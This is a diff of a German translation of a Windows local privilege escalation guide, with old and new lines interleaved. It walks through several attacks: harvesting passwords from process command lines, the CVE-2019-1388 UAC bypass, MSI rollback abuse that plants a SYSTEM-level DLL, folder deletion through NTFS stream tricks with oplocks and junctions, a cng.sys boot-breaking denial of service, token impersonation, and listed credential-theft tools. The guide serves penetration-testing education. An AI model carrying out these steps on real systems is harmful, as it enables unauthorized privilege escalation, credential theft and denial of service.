ermöglicht das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool erlaubt, alle Pipes aufzulisten und zu sehen, um privescs zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Außerdem erlaubt das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool erlaubt, alle Pipes aufzulisten und anzusehen, um privescs zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Sonstiges +## Misc ### File Extensions that could execute stuff in Windows -Siehe die Seite **[https://filesec.io/](https://filesec.io/)** +Check out the page **[https://filesec.io/](https://filesec.io/)** -### **Monitoring Command Lines for passwords** +### **Überwachung von Befehlszeilen auf Passwörter** -Wenn man als Benutzer eine Shell erhält, kann es geplante Tasks oder andere Prozesse geben, die ausgeführt werden und dabei **Anmeldeinformationen auf der Kommandozeile übergeben**. Das untenstehende Skript erfasst die Prozess-Kommandozeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es etwaige Unterschiede ausgibt. +Wenn man als Benutzer eine Shell erhält, können geplante Tasks oder andere Prozesse ausgeführt werden, die **Zugangsdaten in der Befehlszeile übergeben**. Das untenstehende Skript erfasst Prozess-Befehlszeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei es etwaige Unterschiede ausgibt. ```bash while($true) { @@ -1290,15 +1286,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Stealing passwords from processes +## Passwörter aus Prozessen stehlen -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Wenn Sie Zugriff auf die grafische Oberfläche (über Konsole oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem nicht-privilegierten Benutzerkontext zu starten. +Wenn Sie Zugriff auf die grafische Oberfläche (über Konsole oder RDP) und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzerkontext heraus auszuführen. -Dadurch ist es möglich, Privilegien zu eskalieren und gleichzeitig UAC mit derselben Schwachstelle zu umgehen. Außerdem muss nichts installiert werden, und die während des Vorgangs verwendete Binärdatei ist von Microsoft signiert und ausgestellt. +Dies ermöglicht es, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Außerdem ist es nicht notwendig, etwas zu installieren, und die während des Vorgangs verwendete binary ist von Microsoft signiert und ausgestellt. -Some of the affected systems are the following: +Einige der betroffenen Systeme sind die folgenden: ``` SERVER ====== @@ -1338,111 +1334,115 @@ Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich: 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## From Administrator Medium to High Integrity Level / UAC Bypass +Sie haben alle notwendigen Dateien und Informationen im folgenden GitHub-Repository: -Lies dies, um mehr über Integrity Levels zu lernen: +https://github.com/jas502n/CVE-2019-1388 + +## Von Administrator Medium zu High Integrity Level / UAC-Bypass + +Lesen Sie dies, um **etwas über Integritätsstufen (Integrity Levels)** zu lernen: {{#ref}} integrity-levels.md {{#endref}} -Lies dann dies, um mehr über UAC und UAC-Bypässe zu erfahren: +Lesen Sie dann **dies**, um etwas über UAC und UAC-Bypässe zu erfahren: {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Von beliebigem Ordner-Löschen/Verschieben/Umbenennen zu SYSTEM EoP -Die in diesem Blogbeitrag beschriebene Technik ([**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)) mit einem Exploit-Code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Die in [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) beschriebene Technik mit einem Exploit-Code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen **bösartigen MSI-Installer** erstellen, der dazu verwendet wird, den Ordner `C:\Config.Msi` zu kapern, der später vom Windows Installer verwendet wird, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern, wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten. +Der Angriff besteht im Wesentlichen darin, das Rollback-Feature des Windows Installer zu missbrauchen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen **bösartigen MSI-Installer** erstellen, der verwendet wird, um den `C:\Config.Msi`-Ordner zu kapern, welcher später vom Windows Installer zur Speicherung von Rollback-Dateien während der Deinstallation anderer MSI-Pakete verwendet wird, wobei die Rollback-Dateien so verändert wurden, dass sie die bösartige Payload enthalten. -Die zusammengefasste Technik sieht wie folgt aus: +Die zusammengefasste Technik ist wie folgt: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. Phase 1 – Vorbereitung der Übernahme (lassen Sie `C:\Config.Msi` leer) -- Schritt 1: Install the MSI -- Erstelle ein `.msi`, das eine harmlose Datei (z. B. `dummy.txt`) in einen beschreibbaren Ordner (`TARGETDIR`) installiert. -- Markiere den Installer als **"UAC Compliant"**, sodass ein **nicht-administrativer Benutzer** ihn ausführen kann. -- Halte nach der Installation einen **Handle** auf die Datei offen. +- Schritt 1: Installieren Sie das MSI +- Erstellen Sie ein `.msi`, das eine harmlose Datei installiert (z. B. `dummy.txt`) in einem beschreibbaren Ordner (`TARGETDIR`). +- Markieren Sie den Installer als **"UAC Compliant"**, sodass ein **Nicht-Admin-Benutzer** ihn ausführen kann. +- Halten Sie nach der Installation einen **Handle** auf die Datei offen. -- Schritt 2: Begin Uninstall -- Deinstalliere dasselbe `.msi`. +- Schritt 2: Beginnen Sie die Deinstallation +- Deinstallieren Sie dasselbe `.msi`. - Der Deinstallationsprozess beginnt, Dateien nach `C:\Config.Msi` zu verschieben und sie in `.rbf`-Dateien (Rollback-Backups) umzubenennen. -- **Abfrage des offenen Handles** mit `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\.rbf` wird. +- **Überwachen Sie den offenen Datei-Handle** mit `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\.rbf` wird. -- Schritt 3: Custom Syncing -- Das `.msi` beinhaltet eine **benutzerdefinierte Deinstallationsaktion (`SyncOnRbfWritten`)**, die: -- signalisiert, wenn `.rbf` geschrieben wurde. -- Dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird. +- Schritt 3: Benutzerdefinierte Synchronisation +- Das `.msi` enthält eine **benutzerdefinierte Deinstallationsaktion (`SyncOnRbfWritten`)**, die: +- signalisiert, wenn die `.rbf` geschrieben wurde. +- und dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird. -- Schritt 4: Block Deletion of `.rbf` -- Wenn signalisiert, **öffne die `.rbf`-Datei** ohne `FILE_SHARE_DELETE` — das **verhindert deren Löschung**. -- Dann **gebe das Signal zurück**, damit die Deinstallation beendet werden kann. -- Der Windows Installer kann die `.rbf` nicht löschen, und weil er nicht alle Inhalte löschen kann, wird **`C:\Config.Msi` nicht entfernt**. +- Schritt 4: Löschen der `.rbf` blockieren +- Wenn signalisiert, **öffnen Sie die `.rbf`-Datei** ohne `FILE_SHARE_DELETE` — das **verhindert, dass sie gelöscht wird**. +- Dann **signalisieren Sie zurück**, damit die Deinstallation beendet werden kann. +- Windows Installer kann die `.rbf` nicht löschen, und da er nicht alle Inhalte löschen kann, wird **`C:\Config.Msi` nicht entfernt**. -- Schritt 5: Manually Delete `.rbf` -- Du (Angreifer) löschst die `.rbf`-Datei manuell. -- Jetzt ist **`C:\Config.Msi` leer** und bereit zur Übernahme. +- Schritt 5: `.rbf` manuell löschen +- Sie (der Angreifer) löschen die `.rbf`-Datei manuell. +- Nun ist **`C:\Config.Msi` leer** und bereit zur Übernahme. -> An diesem Punkt, **löse die SYSTEM-level arbitrary folder delete vulnerability aus**, um `C:\Config.Msi` zu löschen. +> An diesem Punkt **lösen Sie die SYSTEM-Level Arbitrary Folder Delete Schwachstelle** aus, um `C:\Config.Msi` zu löschen. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. Phase 2 – Ersetzen der Rollback-Skripte durch bösartige -- Schritt 6: Recreate `C:\Config.Msi` with Weak ACLs -- Erstelle den Ordner `C:\Config.Msi` selbst neu. -- Setze **schwache DACLs** (z. B. Everyone:F), und **halte einen Handle** mit `WRITE_DAC` offen. +- Schritt 6: `C:\Config.Msi` mit schwachen ACLs neu erstellen +- Erstellen Sie den `C:\Config.Msi`-Ordner selbst neu. +- Setzen Sie **schwache DACLs** (z. B. Everyone:F) und **halten Sie einen Handle** mit `WRITE_DAC` offen. -- Schritt 7: Run Another Install -- Installiere das `.msi` erneut mit: +- Schritt 7: Führen Sie eine weitere Installation aus +- Installieren Sie das `.msi` erneut mit: - `TARGETDIR`: beschreibbarer Ort. -- `ERROROUT`: Eine Variable, die einen erzwungenen Fehler auslöst. -- Diese Installation wird verwendet, um erneut einen **Rollback** auszulösen, der `.rbs` und `.rbf` liest. +- `ERROROUT`: Eine Variable, die ein erzwungenes Scheitern auslöst. +- Diese Installation wird verwendet, um erneut ein **Rollback** zu erzwingen, das `.rbs` und `.rbf` liest. -- Schritt 8: Monitor for `.rbs` -- Verwende `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis eine neue `.rbs` erscheint. -- Erfasse deren Dateinamen. +- Schritt 8: Auf `.rbs` überwachen +- Verwenden Sie `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis eine neue `.rbs` erscheint. +- Erfassen Sie deren Dateinamen. -- Schritt 9: Sync Before Rollback +- Schritt 9: Synchronisation vor dem Rollback - Das `.msi` enthält eine **benutzerdefinierte Installationsaktion (`SyncBeforeRollback`)**, die: - ein Event signalisiert, wenn die `.rbs` erstellt wurde. -- Dann wartet, bevor sie fortfährt. +- und dann wartet, bevor sie fortfährt. -- Schritt 10: Reapply Weak ACL -- Nachdem das `rbs created`-Event empfangen wurde: -- Wendet der Windows Installer **starke ACLs** auf `C:\Config.Msi` an. -- Da du jedoch noch einen Handle mit `WRITE_DAC` offen hast, kannst du die **schwachen ACLs erneut setzen**. +- Schritt 10: Schwache ACLs erneut anwenden +- Nachdem Sie das `rbs created`-Event erhalten haben: +- Der Windows Installer **wendet starke ACLs erneut auf `C:\Config.Msi` an**. +- Aber da Sie immer noch einen Handle mit `WRITE_DAC` haben, können Sie **erneut schwache ACLs anwenden**. -> ACLs werden **nur beim Öffnen eines Handles durchgesetzt**, daher kannst du weiterhin in den Ordner schreiben. +> ACLs werden **nur beim Öffnen eines Handles** durchgesetzt, daher können Sie weiterhin in den Ordner schreiben. -- Schritt 11: Drop Fake `.rbs` and `.rbf` -- Überschreibe die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist: -- Deine `.rbf`-Datei (bösartige DLL) in einen **privilegierten Pfad** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Deine gefälschte `.rbf` abzulegen, die eine **bösartige SYSTEM-level Payload-DLL** enthält. +- Schritt 11: Falsche `.rbs` und `.rbf` ablegen +- Überschreiben Sie die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist: +- Ihre `.rbf`-Datei (bösartige DLL) in einen **privilegierten Pfad** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Legen Sie Ihre gefälschte `.rbf` ab, die eine **bösartige SYSTEM-Level-Payload-DLL** enthält. -- Schritt 12: Trigger the Rollback -- Signalisiere das Sync-Event, sodass der Installer fortfährt. -- Eine **type 19 custom action (`ErrorOut`)** ist so konfiguriert, dass sie die Installation an einem bekannten Punkt absichtlich fehlschlagen lässt. -- Dies verursacht den Beginn des **Rollback**. +- Schritt 12: Rollback auslösen +- Signalisieren Sie das Sync-Event, damit der Installer fortfährt. +- Eine **type 19 custom action (`ErrorOut`)** ist so konfiguriert, dass die Installation an einer bekannten Stelle **absichtlich fehlschlägt**. +- Dies bewirkt, dass das **Rollback beginnt**. -- Schritt 13: SYSTEM Installs Your DLL +- Schritt 13: SYSTEM installiert Ihre DLL - Windows Installer: -- liest deine bösartige `.rbs`. -- kopiert deine `.rbf`-DLL in den Zielordner. -- Du hast nun deine **bösartige DLL in einem von SYSTEM geladenen Pfad**. +- liest Ihre bösartige `.rbs`. +- kopiert Ihre `.rbf`-DLL in das Zielverzeichnis. +- Sie haben nun Ihre **bösartige DLL in einem von SYSTEM geladenen Pfad**. -- Final Step: Execute SYSTEM Code -- Starte ein vertrauenswürdiges **auto-elevated binary** (z. B. `osk.exe`), das die von dir gehijackte DLL lädt. -- Bäm: Dein Code wird **als SYSTEM** ausgeführt. +- Letzter Schritt: SYSTEM-Code ausführen +- Führen Sie eine vertrauenswürdige **auto-elevated Binary** aus (z. B. `osk.exe`), die die von Ihnen gehijackte DLL lädt. +- **Boom**: Ihr Code wird **als SYSTEM** ausgeführt. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Von arbiträrem Datei-Löschen/Verschieben/Umbenennen zu SYSTEM EoP -Die Haupt-MSI-Rollback-Technik (die vorherige) geht davon aus, dass du einen **gesamten Ordner** löschen kannst (z. B. `C:\Config.Msi`). Aber was, wenn deine Schwachstelle nur **willkürliches Löschen einzelner Dateien** erlaubt? +Die Haupt-MSI-Rollback-Technik (die vorherige) setzt voraus, dass Sie einen **gesamten Ordner** löschen können (z. B. `C:\Config.Msi`). Aber was, wenn Ihre Schwachstelle nur **arbitrary file deletion** erlaubt? -Du könntest die NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, genannt: +Sie könnten die **NTFS-Interna** ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom namens: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1450,21 +1450,21 @@ Dieser Stream speichert die **Index-Metadaten** des Ordners. Wenn Sie also **den `::$INDEX_ALLOCATION`-Stream eines Ordners löschen**, entfernt NTFS **den gesamten Ordner** aus dem Dateisystem. -Das können Sie mit Standard-Datei-Lösch-APIs wie: +Das können Sie mit Standard-APIs zum Löschen von Dateien tun, z. B.: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Auch wenn du eine *file* delete API aufrufst, löscht sie **den Ordner selbst**. -### Vom Löschen der Ordnerinhalte zum SYSTEM EoP -Was, wenn dein Primitive es nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber es **das Löschen des *Inhalts* eines vom Angreifer kontrollierten Ordners erlaubt**? +### Von der Löschung von Ordnerinhalten zu SYSTEM EoP +Was ist, wenn deine Primitive es nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber sie **das Löschen der *Inhalte* eines vom Angreifer kontrollierten Ordners erlaubt**? -1. Schritt 1: Einen Köder-Ordner und eine Datei einrichten +1. Schritt 1: Richte einen Köderordner und eine Datei ein - Erstelle: `C:\temp\folder1` - Darin: `C:\temp\folder1\file1.txt` -2. Schritt 2: Lege ein **oplock** auf `file1.txt` -- Das **oplock** **unterbricht die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen. +2. Schritt 2: Platziere ein **oplock** auf `file1.txt` +- Das oplock **pausiert die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1472,15 +1472,15 @@ WaitForDeleteToTriggerOplock(); ``` 3. Schritt 3: SYSTEM-Prozess auslösen (z. B. `SilentCleanup`) - Dieser Prozess durchsucht Ordner (z. B. `%TEMP%`) und versucht, deren Inhalte zu löschen. -- Wenn er bei `file1.txt` ankommt, löst der **oplock** aus und übergibt die Kontrolle an deinen Callback. +- Wenn es `file1.txt` erreicht, wird **oplock triggers** ausgelöst und die Kontrolle an deinen callback übergeben. -4. Schritt 4: Im oplock-Callback – die Löschung umleiten +4. Schritt 4: Innerhalb des oplock callback – die Löschung umleiten - Option A: Verschiebe `file1.txt` an einen anderen Ort -- Dadurch wird `folder1` geleert, ohne den oplock zu brechen. -- Lösche `file1.txt` nicht direkt — das würde den oplock vorzeitig freigeben. +- Das leert `folder1`, ohne das oplock zu brechen. +- Lösche `file1.txt` nicht direkt — das würde das oplock vorzeitig freigeben. -- Option B: Konvertiere `folder1` in eine **junction**: +- Option B: Wandle `folder1` in eine **junction** um: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1490,68 +1490,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Dies zielt auf den NTFS-internen Stream, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner. +> Dies zielt auf den NTFS-internen Datenstrom, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner. -5. Schritt 5: oplock freigeben -- SYSTEM-Prozess fährt fort und versucht, `file1.txt` zu löschen. +5. Schritt 5: Freigabe des oplock +- Der SYSTEM-Prozess fährt fort und versucht, `file1.txt` zu löschen. - Aber jetzt löscht es aufgrund der junction + symlink tatsächlich: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Ergebnis**: `C:\Config.Msi` wird von SYSTEM gelöscht. -### Von beliebiger Ordnererstellung zu dauerhaftem DoS +### Von Arbitrary Folder Create zu permanentem DoS -Nutze eine Primitive, die es dir erlaubt, **einen beliebigen Ordner als SYSTEM/admin zu erstellen** — selbst wenn **du keine Dateien schreiben** oder **keine schwachen Berechtigungen setzen** kannst. +Nutze ein Primitiv, das es dir erlaubt, **einen beliebigen Ordner als SYSTEM/admin zu erstellen** — selbst wenn **du keine Dateien schreiben** oder **schwache Berechtigungen setzen** kannst. Erstelle einen **Ordner** (keine Datei) mit dem Namen eines **kritischen Windows-Treibers**, z. B.: ``` C:\Windows\System32\cng.sys ``` - Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber `cng.sys`. -- Wenn du ihn **vorab als Ordner erstellst**, kann Windows den eigentlichen Treiber beim Booten nicht laden. -- Danach versucht Windows beim Booten, `cng.sys` zu laden. -- Es sieht den Ordner, **scheitert beim Auflösen des eigentlichen Treibers**, und **stürzt ab oder stoppt den Bootvorgang**. -- Es gibt **kein Fallback**, und **keine Wiederherstellung** ohne externe Intervention (z. B. Bootreparatur oder Festplattenzugriff). +- Wenn es **vorab als Ordner erstellt wird**, kann Windows den eigentlichen Treiber beim Booten nicht laden. +- Dann versucht Windows, `cng.sys` während des Bootvorgangs zu laden. +- Es erkennt den Ordner, **kann den eigentlichen Treiber nicht auflösen**, und **stürzt ab oder stoppt den Bootvorgang**. +- Es gibt **keinen Fallback**, und **keine Wiederherstellung** ohne externe Intervention (z. B. Boot-Reparatur oder Festplattenzugriff). ## **Von High Integrity zu SYSTEM** -### **Neuer Service** +### **Neuer Dienst** -Wenn du bereits in einem High-Integrity-Prozess läufst, kann der **Weg zu SYSTEM** ganz einfach sein, indem du **einen neuen Service erstellst und ausführst**: +Wenn du bereits in einem High Integrity-Prozess läufst, kann der **Pfad zu SYSTEM** einfach sein, indem du einen neuen Dienst **erstellst und ausführst**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Wenn du ein Service-Binary erstellst, stelle sicher, dass es ein gültiger Service ist oder dass die Binärdatei die notwendigen Aktionen schnell genug ausführt, da sie nach 20s beendet wird, wenn es kein gültiger Service ist. +> Wenn du ein Service-Binary erstellst, stelle sicher, dass es ein gültiger Service ist oder dass das Binary die notwendigen Aktionen schnell ausführt, da es sonst nach 20s beendet wird. ### AlwaysInstallElevated -Von einem High Integrity Prozess aus könntest du versuchen, die AlwaysInstallElevated-Registry-Einträge zu **aktivieren** und eine Reverse-Shell mit einem _**.msi**_ Wrapper zu **installieren**.\ -[Mehr Informationen über die involvierten Registry-Schlüssel und wie man ein _.msi_ Paket installiert findest du hier.](#alwaysinstallelevated) +Aus einem High Integrity Prozess kannst du versuchen, die **AlwaysInstallElevated registry entries zu aktivieren** und eine reverse shell mit einem _**.msi**_ Wrapper zu **installieren**.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Du kannst** [**den Code hier finden**](seimpersonate-from-high-to-system.md)**.** +**Du kannst** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Wenn du diese Token-Privilegien hast (wahrscheinlich findest du das in einem bereits High Integrity Prozess), wirst du in der Lage sein, **fast jeden Prozess** (keine protected processes) mit dem SeDebug-Privileg zu **öffnen**, das **Token** des Prozesses zu **kopieren** und einen **beliebigen Prozess mit diesem Token** zu erstellen.\ -Bei der Verwendung dieser Technik wird normalerweise **ein beliebiger Prozess, der als SYSTEM läuft und alle Token-Privilegien hat**, ausgewählt (_ja, du kannst SYSTEM-Prozesse finden ohne alle Token-Privilegien_).\ -**Du kannst ein** [**Beispiel eines Codes, der die vorgeschlagene Technik ausführt, hier finden**](sedebug-+-seimpersonate-copy-token.md)**.** +Wenn du diese Token-Privilegien hast (wahrscheinlich findest du das in einem bereits High Integrity Prozess), kannst du fast jeden Prozess (keine protected processes) mit SeDebug öffnen, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.\ +Bei dieser Technik wählt man in der Regel **einen Prozess, der als SYSTEM läuft und alle Token-Privilegien hat** (_ja, du kannst SYSTEM processes finden, die nicht alle token privileges haben_).\ +**Du kannst ein** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Diese Technik wird von meterpreter verwendet, um in `getsystem` zu eskalieren. Die Technik besteht darin, **eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, der in diese Pipe schreibt**. Dann kann der **Server**, der die Pipe unter Verwendung des **`SeImpersonate`**-Privilegs erstellt hat, das **Token** des Pipe-Clients (des Service) impersonifizieren und SYSTEM-Rechte erlangen.\ -Wenn du [**mehr über Named Pipes lernen willst, solltest du dies lesen**](#named-pipe-client-impersonation).\ -Wenn du ein Beispiel lesen willst, [**wie man von High Integrity zu System mit Named Pipes gelangt, solltest du dies lesen**](from-high-integrity-to-system-with-name-pipes.md). +Diese Technik wird von meterpreter für getsystem verwendet. Die Technik besteht darin, **eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, damit dieser in diese Pipe schreibt**. Danach kann der **Server**, der die Pipe unter Verwendung des **`SeImpersonate`**-Privilegs erstellt hat, das **Token des Pipe-Clients (des Services) impersonifizieren** und SYSTEM-Rechte erlangen.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Wenn es dir gelingt, eine **dll zu hijacken**, die von einem als **SYSTEM** laufenden **Prozess** **geladen** wird, wirst du in der Lage sein, beliebigen Code mit diesen Rechten auszuführen. Daher ist Dll Hijacking auch für diese Art der Privilege Escalation nützlich und darüber hinaus viel **leichter von einem High Integrity Prozess** zu erreichen, da dieser **Schreibrechte** auf die Ordner hat, die zum Laden von dlls verwendet werden.\ -**Du kannst** [**hier mehr über Dll hijacking lernen**](dll-hijacking/index.html)**.** +Wenn es dir gelingt, eine dll zu hijacken, die von einem als SYSTEM laufenden Prozess geladen wird, kannst du beliebigen Code mit diesen Rechten ausführen. Daher ist Dll Hijacking für diese Art der Privilege Escalation nützlich und darüber hinaus **viel einfacher von einem High Integrity Prozess aus zu erreichen**, da dieser Schreibrechte auf den Ordnern hat, die zum Laden von dlls verwendet werden.\ +**Du kannst** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1561,57 +1561,57 @@ Wenn es dir gelingt, eine **dll zu hijacken**, die von einem als **SYSTEM** lauf ### From LOCAL SERVICE or NETWORK SERVICE to full privs -Siehe: [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Weitere Hilfe +## Mehr Hilfe -[Statische impacket Binaries](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Nützliche Tools -**Bestes Tool, um nach Windows lokalen Privilegien-Eskalationsvektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Bestes Tool, um nach Windows local privilege escalation vectors zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Fehlkonfigurationen und sensible Dateien (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Erkannt.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft einige mögliche Fehlkonfigurationen und sammelt Informationen (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Prüft auf Fehlkonfigurationen**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert gespeicherte Sitzungsinformationen von PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP. Lokal mit -Thorough verwenden.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Anmeldeinformationen aus dem Credential Manager. Erkannt.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Verteilt gesammelte Passwörter über die Domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS-Spoofer und Man-in-the-Middle-Tool.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Grundlegende Windows-Enumerierung für Privilege Escalation**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Suche nach bekannten Privesc-Schwachstellen (DEPRECATED zugunsten von Watson)\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Misconfigurations und sensitive Dateien (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft einige mögliche Misconfigurations und sammelt Infos (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Prüft auf Misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert credentials aus Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Verteilt gesammelte Passwörter im Domain-Umfeld**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und Man-in-the-Middle Tool.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basis Windows privesc Enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Sucht nach bekannten privesc Schwachstellen (DEPRECATED für Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale Checks **(Benötigt Admin-Rechte)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Sucht nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) ([**vorkompiliert**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht den Host nach Fehlkonfigurationen (mehr ein Info-Gathering-Tool als reines Privesc-Tool) (muss kompiliert werden) **(**[**vorkompiliert**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Anmeldeinformationen aus vielen Programmen (vorkompilierte 